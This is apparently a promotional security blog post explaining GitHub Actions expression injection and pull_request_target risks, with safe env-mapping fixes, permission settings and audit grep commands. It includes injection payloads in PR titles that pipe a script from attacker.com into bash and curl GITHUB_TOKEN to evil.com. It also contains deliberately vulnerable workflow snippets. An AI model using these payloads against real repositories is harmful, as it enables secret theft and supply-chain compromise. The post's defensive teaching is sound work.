A team shipped a popular open-source library. Thousands of stars, hundreds of contributors. Their CI ran on every pull request — linting, testing, building artifacts. Standard stuff. Then someone opened a PR with a title containing "; curl attacker.com/shell.sh | bash; echo " and walked away with their NPM publish token.
Took about forty seconds.
What Even Is Expression Injection?
GitHub Actions uses double-curly-brace expressions to inject context values into workflow files. You've written these a million times: ${{ github.event.pull_request.title }}, ${{ github.event.issue.body }}, ${{ github.head_ref }}. They look harmless because they feel like template variables. They're not. When you drop one of these into a run: step, GitHub performs a direct string substitution before the shell parses the command. No sanitization. No escaping. Raw text straight into bash.
So if your workflow does this:
- name: Greet PR author
run: |
echo "Processing PR: ${{ github.event.pull_request.title }}"
And someone names their PR:
fix: update deps"; curl http://evil.com/exfil?token=$GITHUB_TOKEN; echo "lol
The shell sees:
echo "Processing PR: fix: update deps"; curl http://evil.com/exfil?token=$GITHUB_TOKEN; echo "lol"
Game over. That GITHUB_TOKEN has write access to the repo by default.
The Dangerous Contexts Nobody Thinks About
Most people know github.event.pull_request.title is user-controlled. But the attack surface goes way deeper than that. Branch names are user-controlled. github.head_ref for a PR from a fork? Attacker picks it. Commit messages from github.event.commits[0].message? Attacker writes those. Issue bodies, comment bodies, discussion titles — all of it flows through expressions if you reference it.
The full list of injectable contexts from GitHub's own docs:
github.event.issue.title
github.event.issue.body
github.event.pull_request.title
github.event.pull_request.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.pages.*.page_name
github.event.commits[*].message
github.event.commits[*].author.email
github.event.commits[*].author.name
github.head_ref
github.event.workflow_run.head_branch
github.event.workflow_run.head_commit.message
github.event.workflow_run.head_commit.author.email
That's sixteen injection points. Sixteen. And this list isn't even exhaustive — any nested object from the webhook payload that an external user can influence is fair game.
Fork PRs Make It Worse
By default, pull_request triggers from forks get a read-only token. Good. But pull_request_target runs in the context of the base repository with full write permissions. Teams switch to pull_request_target because they need to comment on PRs or update labels from fork contributions. Totally reasonable use case. Completely opens the vault if combined with expression injection.
A workflow triggered by pull_request_target that checks out the PR head ref and runs any script from it — that's remote code execution with write access to your repo. Not a theoretical risk. Researchers at Legit Security demonstrated this against dozens of major open-source projects in 2022. Some had secrets that could push to package registries.
Real Patterns That Get Exploited
Conditional echo statements are the most common vector. Teams log PR metadata for debugging:
# Vulnerable - direct expression in run
- run: echo "PR #${{ github.event.number }} - ${{ github.event.pull_request.title }}"
Auto-labeling workflows that parse issue bodies with grep or regex in bash — vulnerable. Changelog generators that concatenate commit messages — vulnerable. Slack notification steps that include PR descriptions — vulnerable.
But the sneaky one? Environment variable assignment:
# Also vulnerable - the assignment itself runs in shell
- run: |
PR_TITLE="${{ github.event.pull_request.title }}"
echo "Working on: $PR_TITLE"
People assume wrapping it in quotes helps. It doesn't. The substitution happens before bash even starts. The quotes are just characters in the expanded string at that point.
Artifact Poisoning Via PR Labels
Some CI setups use PR labels to determine build variants or deployment targets. A workflow that reads label names through expressions and passes them to build scripts opens another injection path. Label names are less obvious because only maintainers can add labels, right? Wrong. On pull_request_target events, the labels array comes from the PR itself. An attacker with a fork can create a PR, and in some workflow configurations, manipulate which labels get evaluated.
Fixing It Without Breaking Everything
The core fix is dead simple: never put user-controlled expressions directly in run: blocks. Use an intermediate environment variable set through the env mapping instead.
# Safe - env mapping doesn't go through shell expansion
- name: Process PR
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "Processing: $PR_TITLE"
When PR_TITLE is set via the env: key, GitHub writes it as an actual environment variable. The shell reads it as a variable reference, not inline text. Injection payloads stay as literal strings. This one change eliminates the entire class of vulnerability.
For cases where you need to pass data to actions (not shell scripts), use inputs for reusable workflows or action inputs that don't pass through shell interpretation.
# Safe - action input, not shell
- uses: my-org/notify-action@v2
with:
message: ${{ github.event.pull_request.title }}
Actions receive inputs as strings through the Actions runtime, not through bash. No shell parsing, no injection. Unless that action internally dumps the input into a shell command — then you've just moved the problem.
The pull_request_target Lockdown
If you absolutely must use pull_request_target (and sometimes you do), follow two rules. First: never check out the PR head. Use actions/checkout without specifying ref, which defaults to the base branch. Second: if you need code from the PR, check it out into an isolated directory and never execute anything from it directly. Run analysis tools against it, sure. Source a script from it? Never.
# Safer pull_request_target pattern
on: pull_request_target
jobs:
analyze:
runs-on: ubuntu-latest
steps:
# Checkout base branch (safe)
- uses: actions/checkout@v4
# Checkout PR code into isolated dir (don't run it)
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
path: ./pr-code
# Analyze but don't execute
- run: |
# Static analysis only, no scripts from pr-code
grep -r "eval(" ./pr-code/src || true
Scanning for This at Scale
Manually auditing every workflow file across all your repos gets old fast. GitHub's own CodeQL has queries for Actions injection, but they catch maybe 60-70% of patterns. The tricky ones — where the expression flows through a composite action or a reusable workflow — tend to slip past.
Tools like actionlint catch direct expression injection in run: blocks. Zizmor from Trail of Bits goes deeper. StepSecurity's Harden Runner can detect unexpected outbound network calls at runtime, which is a solid last line of defense.
But tools miss context. They flag ${{ github.actor }} in a run step, which is technically injectable but practically very hard to exploit (GitHub usernames have strict character limits). Meanwhile they might miss a composite action that passes an issue body through three levels of indirection before it hits a shell. Automated scanning catches the obvious 80%. The remaining 20% needs a human reading the workflow graph.
ScanMyCode.dev includes CI/CD configuration review as part of the security audit — not just your application code, but the pipelines that build and deploy it. Workflow files, Dockerfiles, deployment scripts. The attack surface extends beyond src/.
Permissions: The Other Half of the Problem
Even if injection happens, damage depends on what the token can do. The default GITHUB_TOKEN gets contents: write and packages: write unless you restrict it. That means a successful injection can push code directly to your repo, publish packages, create releases.
Set top-level permissions in every workflow:
permissions:
contents: read
pull-requests: write # only if needed
At the organization level, set the default token permission to read-only. Every workflow that needs more has to declare it explicitly. This doesn't prevent injection, but it limits blast radius from "they own the repo" to "they can read code they probably already have access to." Massive difference.
Also: rotate any secrets stored in Actions if you suspect exposure. GITHUB_TOKEN is short-lived and auto-expires, but those NPM tokens, AWS keys, and deploy credentials you added manually? Those last until someone revokes them. And nobody checks.
What Production Incidents Actually Look Like
The pattern is almost always the same. Attacker finds a public repo with pull_request_target and expression injection. Opens a PR from a fork. Workflow triggers with write permissions. Injected command exfiltrates secrets — usually by curling them to an external server or writing them to a PR comment on a different repo they control. Total time from discovery to exploitation: under five minutes for someone who knows what they're looking for.
In 2021, researchers from Google Project Zero adjacent teams showed that major projects including some owned by GitHub themselves were vulnerable. The fixes were usually one-line changes — moving an expression from run: to env:. The investigation and incident response took weeks.
Prevention costs minutes. Remediation costs weeks. Pick one.
Quick Audit Checklist
Run this against your own repos right now:
# Find all direct expression usage in run blocks
grep -rn '${{.*github\.event' .github/workflows/ | grep 'run:' -A5
# Check for pull_request_target with checkout of PR head
grep -l 'pull_request_target' .github/workflows/*.yml | \
xargs grep -l 'head.sha\|head.ref'
# Verify permissions are restricted
grep -L 'permissions:' .github/workflows/*.yml
If any of those return results, you have homework.
And if you want someone to go through your entire CI/CD setup — workflows, permissions, secret management, the whole chain — submit your repo for a security audit. You'll get a detailed report within 24 hours with exact line numbers and fixes. Cheaper than an incident.